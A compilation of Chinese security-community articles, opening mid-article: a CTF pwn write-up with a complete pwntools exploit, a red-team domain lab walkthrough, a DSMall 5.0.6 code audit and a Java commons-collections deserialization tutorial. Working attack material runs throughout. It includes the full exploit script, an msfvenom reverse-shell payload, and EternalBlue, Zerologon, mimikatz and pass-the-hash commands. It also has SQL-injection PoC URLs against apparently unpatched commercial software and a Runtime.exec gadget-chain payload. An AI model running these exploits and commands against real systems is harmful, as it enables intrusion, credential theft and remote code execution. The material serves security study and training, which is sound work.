先覆盖_IO_read_end的最低字节，虽然会调用_IO_SYSSEEK()但是程序不会异常，而是new_do_write()函数直接return 0
再覆盖_IO_write_base的最低直接，这次就可以泄露libc地址了
### 任意写
因为只能使用calloc，如果想通过任意地址分配chunk来任意写太难了，像这种只能写入00的条件十分适合通过stdin来实现任意写
* 第一步把stdin->_IO_buf_base的最低字节覆盖为00，让其指向stdin自身，把stdin当作缓冲区，利用读入选项时进行控制stdin结构体
* 第二步把stdin的缓冲区设置为[realloc_hook-0x8, realloc_hook+0x10)，这样就可以在下一次读入选项时控制hook了
* 0x8是因为后面还要通过calloc触发OGG，需要一个正常的缓冲区使用
* realloc_hook是因为OGG需要调栈
* realloc_hook+8是因为这里是malloc_hook，calloc会调用这个hook，从而开启:calloc-> **malloc_hook- >realloc->**realloc_hook->OGG这一调用链条
### realloc抬栈
如果直接覆盖malloc_hook为OGG的话，由于不满足OGG对栈环境的要求无法getshell，因此需要通过realloc抬栈
**realloc相关栈操作**
如果我们不从realloc+0开始进入，那么在回收栈空间时就会破坏栈平衡，从而达到调整栈的目的
例如从realloc+2进入函数，那么jmp rax之前就会导致多pop了一次，也就相当于rsp+=8，rsp升高了
**调用OGG时栈环境：**
在rsp+0x88， rsp+0xa8等地方存在00
**而我们的OGG要求：**
很显然无法满足，因此需要用realloc抬栈的技巧
第三个OGG要求rsp+0x70处为0，而栈环境中rsp+0x88为0，如果把rsp抬升0x18就可以满足OGG的要求，这就要求多pop
3次，因此我们选择从realloc+6进入函数即可
## EXP
#! /usr/bin/python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#elf = ELF('./1')
sh = process('./corporate_slave')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
libc = ELF('./libc.so.6')
def Log(val):
log.success('%s = %s'%(str(val), hex(eval(val))))
def Cmd(i, wait=True):
if(wait):
sh.recvuntil('>>')
else:
sleep(0.5)
sh.sendline(str(i))
def Add(a_sz, r_sz, cont, wait=True):
Cmd(1, wait)
if(wait):
sh.recvuntil('Alloc Size: ')
else:
sleep(0.5)
sh.sendline(str(a_sz))
if(wait):
sh.recvuntil('Read Size: ')
else:
sleep(0.5)
sh.sendline(str(r_sz))
if(wait):
sh.recvuntil('Data:')
else:
sleep(0.5)
sh.send(cont)
#leak libc addr
Add(0x200000, 0x5ed760+1, 'A\n') #stdout->_IO_read_end = 0x00007ffff7dd0700
Add(0x200000, 0x7ee770+1, 'B\n', False) #stdout->_IO_write_base = 0x00007ffff7dd0700
sh.recvuntil(p64((1<<64)-1)+p64(0))
libc.address = u64(sh.recv(8)) - 0x3eb780
Log('libc.address')
#stdin attack
Add(0x200000, 0x9eea28+1, 'C\n') #stdin->_IO_buf_base = stdin
#forge fake stdin
sh.recvuntil('>>')
exp = p64(0xfbad208b) #stdin->_IO_buf_base = __realloc_hook-0x8
exp+= p64(libc.symbols['__realloc_hook']-0x8)*7
exp+= p64(libc.symbols['__realloc_hook']+0x10)
sh.send(exp)
OGG = [0x4f3c2, 0x10a45c]
ones = libc.address + OGG[1] #requirement: [rsp+0x70] == NULL
Log('ones')
#control hook
for i in range(5):
sh.recvuntil('>>')
exp = p64(0xdeadbeef) #read buffer
exp+= p64(ones) #__realloc_hook
exp+= p64(libc.symbols['realloc']+6) #__malloc_hook
sh.send(exp)
#gdb.attach(sh, 'break calloc')
#trigger
Cmd(1)
Cmd(1)
sh.recvuntil('Alloc Size: ')
sleep(0.5)
sh.sendline('1')
sh.recvuntil('Read Size: ')
sleep(0.5)
sh.sendline('1')
sh.interactive()
'''
telescope 0x0000555555554000+0x202018
'''
## 总结
* 由于只有一个calloc，因此难以通过堆机制来解题，需要从IO来解题
* 00任意写stdout，满足_IO_read_end == _IO_write_ptr，从而泄露地址
* 00任意写stdin，让其缓冲区偏移到自身从而控制整个stdin，来实现任意写
* 由于只有calloc，所以只能利用OGG来getshell，再通过realloc抬栈来满足OGG要求 | 社区文章 |
# 前言
本次多层网络域渗透项目旨在模拟渗透测试人员在授权的情况下对目标进行渗透测试, 从外网打点到内网横向渗透, 最终获取整个内网权限的过程.
# 环境搭建
靶场下载地址:
https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ
提取码: vbi2
靶场网络拓扑图为:
各靶机信息:
域控: Windows Server 2008 + IIS + Exchange 2013 邮件服务
目录还原密码: redteam!@#45
主机名: owa
域管理员: administrator:Admin12345!
域内服务器Mssql: Windows Server 2008 + SQL Server 2008 （被配置了非约束委派）
主机名: sqlserver-2008
本地管理员:Administrator:Admin12345
域账户: redteam\sqlserver:Server12345 （被配置了约束委派）
Mssql: sa:sa
域内个人PC: Windows 7
主机名: work-7
本地管理员:john: admin!@#45
域账户: redteam\saul:admin!@#45
单机服务器: Windows server r2 + weblogic
主机名: weblogic
本地管理员:Administrator:Admin12345
weblogic : weblogic: weblogic123（访问 http://ip:7001）
weblogic 安装目录: C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain（手动运行下 startWebLogic.cmd）
其他域用户:
域服务账户: redteam\sqlserver:Server12345 （被配置了约束委派）
邮件用户: redteam\mail:admin!@#45
加域账户: redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 （被配置了非约束委派）
redteam\gu:Gu12345
redteam\apt404:Apt12345
开启`Windows Server 2012 R2`后,
在`C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain`目录下双击`startWebLogic.cmd`启动`weblogic`.
# 渗透测试
## 单机服务器
假定我们已经拿到了靶标`IP`: `192.168.10.22`. 利用`Nmap`对靶标进行简易的扫描: `nmap.exe -p1-65535 -Pn
-A -T4 192.168.10.22`.
根据扫描结果发现`7001`端口存在`Oracle WebLogic`, 扫一梭子看看有没有漏洞, 从扫描结果来看还是存在挺多漏洞的.
直接上工具开打, 发现是`administrator`的权限, 直接注入内存马, 冰蝎上线.
## 域内个人 PC
当拿下`DMZ`区域的机器后, 除了权限维持和权限提升, 对于横向渗透通常分一下两个方面:
* 判断机器是否为多网卡机器, 然后扫描其他网段, 来发现更多存在漏洞的机器;
* 尽量收集机器上面的敏感信息, 比如敏感内部文件、账号密码本等, 帮助后面快速突破防线.
由于我们拿下的机器已经是`administrator`权限, 直接进行信息搜集即可, `tasklist`查看进程发现不存在杀软.
利用`msfvenom`生成一个`payload`: `msfvenom.bat -p
windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 -f exe >
shell.exe`, 上传到靶机后, `MSF`上线.
抓一下密码:
* 抓取自动登录的密码: `run windows/gather/credentials/windows_autologin`.
* 导出密码哈希: `hashdump`.
拿到`Administrator`的密码`Admin12345`, 同时查询域信息: `net view /domain`, 发现该机器并不在域内.
查询网络信息发现是双网卡, 利用`fscan`扫描一下网段: `fscan64.exe -h 10.10.20.0/24 > result.txt`,
发现网段内存在新的机器`10.10.20.7`, `445`端口是开放的, 疑似存在`MS17-010`漏洞.
添加路由, 扫描一下`MS17-010`.
run get_local_subnets
run autoroute -s 10.10.20.0/24
run autoroute -p
search ms17-010
use 3
set rhost 10.10.20.7
run
发现的确存在`MS17-010`, 利用`exploit/windows/smb/ms17_010_eternalblue`进行攻击, 成功拿下该机器.
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set lport 11111
run
先查看一下权限, 发现直接就是`system`权限, 也不需要进行提权的操作, 用`mimikatz`抓一下密码,
发现该主机在域环境`redteam.red`内, 并且拿到一组域账户的用户名和密码: `saul:admin!@#45`.
load mimikatz
creds_all
用其他的方式继续抓一下密码, 成功拿到一组本地用户的用户名及密码: `john:admin!@#45`.
hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin
## 域内服务器 Mssql
查看网段发现新网段, 继续添加路由.
上传一个`fscan`, 扫描一下网段, 发现存在一台`Windows Server 2008 R2`机器: `10.10.10.18`,
开放了`1433`端口, 并且获得一组弱口令: `sa:sa`.
`MSF`配合`Proxifier`开启`socks`代理隧道, 利用`SharpSQLTools`执行命令,
发现是`10.10.10.18`机器是一个低权限的账号`network service`.
参考[MSSQL 利用 CLR
技术执行系统命令](https://cloud.tencent.com/developer/article/1736431)中的方法, 进行`clr`提权,
成功提权到`system`权限.
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
利用`exploit/windows/mssql/mssql_clr_payload`模块, 先用低权限账号上线, 接着上传木马,
利用`SharpSQLTools`运行得到高权限.
接着使用`mimikatz`抓取一下凭证, 得到两个用户的用户名和密码: `Administrator:Admin12345`,
`sqlserver:Server12345`.
## 域控
由于不存在新的网段了, 在前面`fscan`的扫描结果中还存在一个`10.10.10.8`的地址, 不出意外该地址的机器就是域控了,
下面看看该如何拿下该台机子.
先确定一下该台机器是否是域控制器, 常见的方法有:
* 扫描内网中同时开放`389`和`53`端口的机器.
* 查看域控制器组: `net group "domain controllers" /domain`.
* 查看域控的机器名: `nslookup redteam.red; nslookup -type=SRV _ldap._tcp`.
* 查看域控当前时间: `net time /domain`.
确定该台机器是域控制器后, 根据其版本信息尝试用`Netlogon`特权提升漏洞`CVE-2020-1472`进行攻击, 详细内容见[内网渗透-账号提权](https://www.freebuf.com/articles/system/288515.html).
在验证存在`Netlogon`特权提升漏洞后, 先重置一下域账号, 置空密码: `python cve-2020-1472-exploit.py OWA
10.10.10.8`.
接着读取域控中的`hash`: `python secretsdump.py redteam.red/[email protected] -just-dc
-no-pass`.
获取到的`hash`后利用`impacket`中的`wmiexec.py`脚本进行登录, 成功拿到`shell`: `python wmiexec.py
-hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e
redteam.red/[email protected] -codec gbk`.
此时, 成功获取到了域控的`shell`. 但是这个`shell`并不是稳定的, 真实环境中我们还需要进一步进行权限维持的操作, 在得到`hash`之后,
先利用前面获取到的`shell`关闭一下防火墙: `netsh advfirewall set allprofiles state off`,
接着便可以使用`PSEXEC`模块上线`MSF`并进行后续的操作了.
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.8
set lport 4446
run
需要注意的是, 在做完权限维持后要及时恢复域控的密码, 不然域控会脱域.
我们先导出`SAM`中原来的`hash`, 利用`MSF`的`shell`下载下来并及时删除, 清理痕迹.
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
download C:\\sam.save C:\\Users\\95235\\Desktop\\sam.save
download C:\\security.save C:\\Users\\95235\\Desktop\\security.save
download C:\\system.save C:\\Users\\95235\\Desktop\\system.save
del /f sam.save
del /f system.save
del /f security.save
接着利用脚本`secretsdump.py`查看一下域控的`hash`: `python secretsdump.py -sam sam.save
-system system.save -security security.save LOCAL`.
利用脚本`reinstall_original_pw.py`恢复`hash`: `python reinstall_original_pw.py OWA
10.10.10.8 f4044edaafbdca41a6e53d234c14ab9a`.
最后利用空密码再次进行连接来验证是否恢复成功: `python secretsdump.py redteam.red/[email protected]
-just-dc -no-pass`.
## 效果图
# 总结
由于打过几次线下的`CFS`靶场, 使用`CS`感觉不佳, 本次打靶过程中就只使用了`MSF`, 正好锻炼一下自己对于`MSF`各功能的使用,
打靶过程中的收获还是挺大的. 靶机附件里面也给出了一个靶场存在漏洞的说明, 感兴趣的师傅们也可以根据漏洞说明尝试一下其他的打法.
对于靶机要说明的就是网盘里面分享的是一个完整的压缩包然后从中间直接拆分出来的两个数据块, 使用的时候合并起来就行.
另一个`sqlserver-2008`那台机器的`Sql Server 2008`好像过期了, 我是用命令行直接开启的: `net start
mssqlserver`.
# 参考链接
* [浅谈内网渗透代理](https://xz.aliyun.com/t/8001#toc-3)
* [内网渗透-账号提权](https://www.freebuf.com/articles/system/288515.html)
* [从外网 Weblogic 打进内网, 再到约束委派接管域控](https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247488950&idx=1&sn=48d93f1fac38eae99cc4e78474eb557c&scene=21#wechat_redirect) | 社区文章 |
# DSMall代码审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
最近一段时间专门在研究php
反序列化漏洞的挖掘和利用，这篇文章可以算做是研究成果的一个实践输出，文中所有的漏洞本来是提交到cnvd和补天的，被驳回了几次有点心态爆炸，浪费那些宝贵的时间何必呢？该公司开发的这几款web
app 几乎都存在文章中审计到的漏洞，本文以DSmall为例进行分析，所有的漏洞分析文档见文末，如需要poc可以私信。
## 0x02 介绍
DSMall是长沙德尚网络科技有限公司开发的多用户商城系统，基于thinkphp5.0框架开发，目前最新版本是5.0.6。
【官 网】<http://www.csdeshang.com/>
【下载地址】<http://www.csdeshang.com/home/download/index.html>
【测试环境】php 5.6.27、mysql5.0.11、apache2.2
【测试版本】DSMALL 5.0.6
## 0x03 漏洞统计
漏洞类型 | 数量 | 级别 | 利用条件 | 修复与否
---|---|---|---|---
远程代码执行一 | 1 | 高 | 前台注册账户 | 未修复
远程代码执行二 | 1 | 高 | 无 | 未修复
远程代码执行三 | 1 | 高 | 前台注册账户 | 未修复
远程代码执行四 | 1 | 高 | 无 | 未修复
远程代码执行五 | 1 | 高 | 无 | 未修复
SQL注入漏洞一 | 1 | 中 | 后台管理员权限 | 未修复
SQL注入漏洞二 | 1 | 中 | 后台管理员权限 | 未修复
SQL注入漏洞三 | 1 | 高 | 无 | 未修复
## 0x04 漏洞分析
### 远程代码执行漏洞一：
利用条件：前台注册账户
Home模块 Memberinformation控制器cut方法存在可以利用的反序列化操作，利用thinkphp 反序列化代码执行pop chain
可以写文件getshell。
applicationhomecontrollerMemberinformation.php
vendortopthinkthink-imagesrcImage.php
$newfile = str_replace(str_replace(‘/index.php’, ‘’,
BASE_SITE_URL).’/uploads’, BASE_UPLOAD_PATH, input(‘post.newfile’));
$newfile 来自
$_POST[‘newfile’],然后通过SplFileInfo类对象来判断文件是否存在，当该SplFileInfo类构造参数是一个phar文件的时候就会发生反序化操作，相关知识参考：[https://xz.aliyun.com/t/2958。](https://xz.aliyun.com/t/2958%E3%80%82)
**漏洞利用：**
生成phar文件，然后通过前台头像或其他上传文件接口上传到目标服务器上，这里直接利用上传文件接口dsmall506/public/index.php?s=home/Snsalbum/swfupload
上传得到路径
<http://test.com/dsmall506/public/uploads/home/member/1/1_2020031616094143684.jpg>
需要注意的是：
Shell 文件会直接生成在php 执行路径下，如果需要生成在web目录下，在poc文件中设置shell文件的绝对路径
### 远程代码执行漏洞二：
利用条件：无
公共modelGoodsbrowse getViewedGoodsList
查看用户浏览过的商品信息，当用户处于登录状态时候直接从缓存中获取商品信息进行反序列化操作，如果尚未登录则从cookie里面获取并解密然后进行反序列化，由于cookie加解密函数的KEY是一个固定的值，写死在代码中，因此反序列化函数unserialize的参数可以被我们控制，利用thinkphp5的代码执行反序列化pop
chain 可以往目标服务器写文件getshell.
applicationcommonmodelGoodsbrowse.php
applicationcommon.php
applicationcommon_global.php
**漏洞利用：**
生成cookie信息并设置访问浏览历史即可getshell
<http://test.com/dsmall506/public/home/index/viewed_info>
生成cookie信息：
调用栈：
### 远程代码执行漏洞三：
利用条件：前台注册账户
公共模块logicBuy.php buyDecrypt 方法中存在可以被用户控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain
可以往目标服务器写文件getshell.
applicationcommonlogicBuy.php
查看对buyDecrypt的函数调用，发现有多处调用且参数都可以被用户控制，这里利用修改地址changeAddr这条利用链。
applicationcommonlogicBuy.php
public function changeAddr($freight_hash, $city_id, $area_id, $member_id)
applicationhomecontrollerBuy.php
调用栈
—->homecontrollerBuy.phpchange_addr()—->commonlogicBuy.phpchangeAddr()—->>commonlogicBuy.phpbuyDecrypt()
漏洞利用：
通过分析我们知道
Unserizlize(base64_decode(ds_decrypt(strval($string),sha1(md5($member_id . ‘&’
. MD5_KEY)), 0)))
$key=sha1(md5($member_id . ‘&’ . MD5_KEY))
$_POST[freight_hash]=ds_encrypt(strval(base64_encode(serialize($a))),$key);
A) MD5_KEY 是一个常量，从源码中获取
B) $member_id可以通过文件上传文件接口dsmall506/public/index.php?s=home/Snsalbum/swfupload
获取
Poc:
Url:<http://test.com/dsmall506/public/index.php?s=home/Buy/change_addr>
Post:city_id=1&area_id=1&freight_hash=se1atRqVpfbQo1INkwRgOXeQIUpFfKnR5lnhQVmjUhnYB9v1NU7JxIxWFRYDA6ihAavR_QiUcQ8
### 远程代码执行漏洞四：
利用条件：无
公共模块modelCart.php getCartList和getCartNum
方法中存在可以被用户控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain 可以往目标服务器写文件getshell.
applicationcommonmodelCart.php
getCartList 方法反序列化
getCartNum反序列化
这里对getCartNum这个点的利用进行分析一下。通过查找存在多处对getCartNum的函数的调用，跟踪分析controller子类BaseHome中有一条简单方便的call
chain，这条调用链的起点来自BaseHome类的初始化函数中，因此该类的所有子孙类的任何方法调用都会触发这条调用链。整个调用过程：
BaseHome::_initialize->BaseHome::showCartCount->Cart::getCartNum
阅读showCartCount函数代码，我们知晓要能够触发反序列化操作，必须满足以下两个条件：
a) Cookie[‘cart_goods_num’]为空
b) 用户处于未登录状态
Poc：
### 远程代码执行漏洞五：
利用条件：无
Home模块Cart控制器ajax_load 方法中存在用户可以控制的反序列化操作，利用thinkphp5的代码执行反序列化pop chain
可以往目标服务器写文件getshell.
生成payload:
设置cookie:
Request url:
<http://test.com/dsmall506/public/index.php?s=home/cart/ajax_load>
### SQL注入漏洞一：
利用条件：后台管理员账户权限
公共模块common/Model/Artcle.php editArticle
和delArticle存在SQL注入漏洞，审计代码只有delArticle函数中的漏洞可被利用。
applicationadmincontrollerArticle.php 删除文章功能的Drop方法调用了delArticle
且参数可控，$_GET[artcile_id]==input(‘param.article_id’)
Poc:
[http://test.com//dsmall506/public/index.php/admin/article/drop.html?article_id=42+and%20updatexml(1,concat(0x7e,user()),1)](http://test.com//dsmall506/public/index.php/admin/article/drop.html?article_id=42+and%20updatexml\(1,concat\(0x7e,user\()),1))
### SQL注入漏洞二：
利用条件：后台管理员权限
公共模块 Goodsclasstag.php delGoodsclasstagByIds 函数存在SQL注入漏洞。
applicationcommonmodelGoodsclasstag.php
在Admin 控制器tag方法中对delGoodsclasstagByIds函数进行了调用，参数使用thinkphp封装函数input获取，类型是一个数组
aplicationadmincontrollerGoodsclass.php
public function tag()
Poc:
<http://test.com/dsmall506/public/index.php?s=admin/goodsclass/tag>
Data:
tag_id[0]= 1 and updatexml(1,user(),1)&submit_type=del
### SQL注入漏洞三：
利用条件：无
Home模块shopnearby控制器get_Own_Store_List方法存在SQL注入漏洞。
变量 $lat和$lng使用input 函数来获取，其实就是
$_GET或$_POST的值，这个函数是thinkphp封装的获取请求值函数。获取之后直接拼接传入where(),where()函数是thinkphp封装的函数，官方推荐使用
where(array[])来对用户数据进行处理比较安全，如果直接作为字符串参数传入该函数，那么对参数就需要用户自己进行过滤或转移处理，否则直接带入数据库进行查询，这是thinkphp官方文档的开发说明，而这里并没有按照官方文档说明来做，也没有进行转移或过滤，故造成SQL注入。
applicationhomecontrollerShopnearby.php
Poc:
[http://test.com/dsmall506/public/index.php/home/Shopnearby/get_Own_Store_List?latitude=updatexml(1,concat(0x7e,user()),1)&longitude=1](http://test.com/dsmall506/public/index.php/home/Shopnearby/get_Own_Store_List?latitude=updatexml\(1,concat\(0x7e,user\(\)\),1\)&longitude=1)
## 0x05 结语
2018 BlackHat Sam
Thomas分享了利用phar文件触发反序列化的研究文章，大大扩展了反序列化漏洞的攻击面，在审计cms的时候除了关注unserialize作为source之外，也应该重点关注这些能够利用phar文件反序列利用的函数，而对于php反序列化漏洞挖掘和利用（包括fuzz
sink function 和pop chain find）期待下篇文章吧。 | 社区文章 |
## **0x00前言**
因为我平时打CTF的时候遇到的web大部分都是php的代码，php环境搭建也十分的方便。所有在刚刚接触到java反序列化漏洞的时候也不知道怎么下手，因为两者差别还是比较大，所以希望自己的见解能够对刚接触这块的人有所帮助
我的源码和笔记Github地址在文章的最后
## **0x01我了解JAVA发序列化的过程**
最开始看java反序列化的文章是比较难懂的，即使能把别人的例子拿来运行成功了，但是还是没有把要领装入脑袋中。我学习这方面的步骤如下，希望有所帮助
1.先了解下JMX是什么，明白本地java虚拟机如何运行远程的java虚拟机的代码，
2.了解RMI是什么，明白RMI和JMX的异同之处，
3.了解java反射的机制
4.了解java的反序列化commons-collections-3.1漏洞
5.再把commons-collections-3.1的反序列化运用在远程的RMI服务器上
这篇文章讲述的内容是
本地运行commons-collections-3.1的反序列化
构造commons-collections-3.1的序列化的代码
启动rmi服务，利用commons-collections-3.1的反序列化
## **0x02 java反射简介**
先看在java中执行系统命令的方法
public class ExecTest {
public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("notepad.exe");
}
}
该代码会运行并打开windows下的记事本
它正常的步骤是
public class ExecTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
}
}
那么相应的反射的代码如下
import java.lang.reflect.Method;
public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
}
}
getMethod(方法名, 方法类型)
invoke(某个对象实例， 传入参数)
这里第一句`Object runtime =Class.forName("java.lang.Runtime")`的作用
等价于 `Object runtime = Runtime.getRuntime()`
目的是获取一个对象实例好被下一个invoke调用
第二句`Class.forName("java.lang.Runtime").xxxx`的作用就是调用上一步生成的`runtime`实例的`exec`方法，并将`"notepad.exe"`参数传入`exec()`方法
## **0x03 JAVA反序列化的操作函数**
`ObjectOutputStream`类的`writeObject(Object obj)`方法,将对象序列化成字符串数据
`ObjectInputStream`类的`readObject(Object obj)`方法，将字符串数据反序列化成对象
测试代码
import java.io.*;
public class Serialize {
public static void main(String[] args) throws Exception{
//要序列化的数据
String name = "sijidou";
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(name);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}
把刚刚的执行操作的代码进行序列化和反序列化
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Serialize2 {
public static void main(String[] args) throws Exception{
//要序列化的数据
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
//Object evil = Runtime.getRuntime().exec("notepad.exe");
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(evil);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}
这样是不能触发的，因为Runtime类没有继承Serializable接口，所以导致不会成功，它弹是在写Object的时候会弹的
## **0x04 commons-collections-3.1反序列化漏洞**
代码在远程调用前，要明白本地是如何实现的，这个时候DEBUG是个非常棒的东西
首先漏洞组件的下载地址：<https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1>
网上很多都拿这个反序列漏洞来讲解java反序列化的知识点，我这里就拿一个payload，代码如下
public class ApacheSerialize {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
这里涉及到了3个比较重要的对象`InvokerTransformer``ChaniedTransformer`和`TransformedMap`
首先看看`InvokerTransformer`，它是执行恶意代码的主要问题所在
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
可以看到它利用了反射进行调用函数，Object是传进来的参数，`this.iMethodName`,`this.iParamTypes`和`this.iArgs`是类中的私有成员
这反射类比下正常的调用就是如下形式
input.(this.iMethodName(<this.iParamTypes[0]> this.iArgs[0], <this.iParamTypes[1]> this.iArgs[1]))
`input`是类名， `this.iMethodName`是方法名，
之后的`this.iParamTypes`是参数类型，`this.iParamTypes`是参数的值
查看3个私有变量传进来的方式，是利用的构造函数，即在new的时候，把参数代入到私有成员
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
因此我在payload中第一部生成的transformers数组的效果等价于
transformers[1]
input.getMethod("getRuntime", null)
transformers[2]
input.invoke(null, null);
transformers[3]
input.exec("calc.exe");
input是后面调用`transform(Object input)`的传参，但是这3个明显是闲散的，我们的目的是把它们组合起来
这时候就是要靠`ChaniedTransformer`
看一下`ChainedTransformer`类的transform方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
是一个反复的循环调用，后面一个transformers调用前面一个tranformers的返回值，并且会遍历一遍数组里面的所有值
再看看之前构造的chainedTransformer对象里面的内容
[0]是ConstantTransformer对象，它会返回new时候的参数中的Object对象，这里也是就是"java.Runtime"
[1]-[3]是InvokerTransformer对象，调用的是反射的代码
最后看能带有触发这个攻击链的方法的对象`TransformedMap`
利用 Map.Entry取得第一个值，调用修改值的函数，会触发下面的setValue()代码
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
而其中的checkSetValue()实际上是触发TransoformedMap的checkSetValue()方法，而此次的this.valueTransformer就是ChianedTransformer类，之后就会触发漏洞利用链
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
回到整体的payload的中的参数
payload中的利用反射的结构是这样的
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
因为我JAVA不是太熟悉，理解了好久，这里简述下我的理解,`InvokerTransformer`的构造函数如下
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
第一个是字符串，是调用的方法名，第二个是个Class数组，带的是方法的参数的类型，第三个是Object数组，带的是方法的参数的值
以`getMethod`举例
第一个参数`"getMethod"`是这个函数的名字
第二个参数`new Class[]{String.class,
Class[].class}`是`getMethod`的2个参数参数类型，一个是`String`，一个是`class[]`
第三个参数`new Object[]{"getRuntime", new
Class[0]}`是`getMethod`的2个参数值，一个是`getRuntime`，一个是空，因为是数组形式所以要这么写
上面这个组合起来相当于 `getMethod(\<String\> "getRuntime", \<Class[]\> null)`
整理一下思路
ChianedTransformer可以理解为一个数组容器
ChianedTransformer里面装了4个transform
TransoformedMap绑定了ChiandTransformer
step1 : 利用TransoformedMap的setValue触发ChianedTransformer的transform
step2 : ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法
step3 : 第一次循环调用ConstantTransformer("java.Runtime")对象的transformer调用参数为"foobar"(正常要修改的值)，结果无影响
step4 : 第二次循环调用InvokerTransformer对象getMethod("getRuntime",null)方法，参数为("java.Runtime")会返回一个Runtime.getRuntime()方法
相当于生产一个字符串，但还没有执行，"Rumtime.getRuntime();"
step5 : 第三次循环调用InvokerTransformer对象Invoke(null,null)方法，参数为Runtime.getRuntime()，那么会返回一个Runtime对象实例
相当于执行了该字符串，Object runtime = Rumtime.getRuntime();
step6 : 第四次循环调用InvokerTransformer对象exec("clac.exe")方法,参数为一个Runtime的对象实例，会执行弹出计算器操作
调用了对象的方法，runtime.exec("clac,exe")
至此已经能够触发漏洞了，之后还会执行什么步骤无关紧要了
## **0x05 payload实现**
上面的代码只是作为一段小脚本执行了，但是没有被用来通过网络传输payload，然后被反序列化利用，并且还要满足被反序列化之后还会改变map的值等总总因素的影响,假设一个理想的情况如下
public class ApacheSerialize2 implements Serializable {
